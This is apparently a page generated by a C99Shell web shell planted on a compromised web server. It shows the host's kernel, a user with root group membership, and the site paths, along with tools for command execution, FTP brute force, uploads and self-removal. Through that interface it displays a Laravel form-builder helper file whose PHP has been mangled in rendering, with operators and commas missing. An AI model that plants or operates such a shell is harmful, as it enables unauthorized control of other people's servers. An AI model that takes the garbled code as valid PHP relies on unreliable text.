!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/FormBuilder/Services/   drwxr-xr-x
Free 26.47 GB of 117.98 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Helper.php (1.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\FormBuilder\Services;

use 
Throwable;

class 
Helper
{
    
/**
     * Get the roles to use from the configured roles provider
     *
     * @return array
     */
    
public static function getConfiguredRoles(): array
    {
        if (empty(
config('formbuilder.roles_provider'))) return [];

        try {
            
$provider config('formbuilder.roles_provider');
            return (new 
$provider)();
        } catch (
Throwable $e) {
            
info($e);

            return [];
        }
    }

    
/**
     * Add random string to the url to help bust the cache in development
     *
     * @return string
     */
    
public static function bustCache(): string
    
{
        if (!
config('app.debug')) return '';

        return 
'?b=' . static::randomString();
    }

    
/**
     * Generate and return a random characters string which is 4 characters more than the length specified
     *
     * @param   integer $length  Length of the string to be generated, Default: 8 characters long.
     * @param   string $seedings the characters to use for the random string seeding
     * @return  string
     */
    
public static function randomString($length 4$seedings null): string
    
{
        
$seedings $seedings ?? '123456789ABCDEFGHJKLMOPQRSTUVWXYZabcdefghifklmnop';

        return 
substr(time(), -4) . substr(str_shuffle($seedings), $length);
    }

    
/**
     * Return a generic error message
     *
     * @return string
     */
    
public static function wtf(): string
    
{
        return 
__('There was an error when processing your request.');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--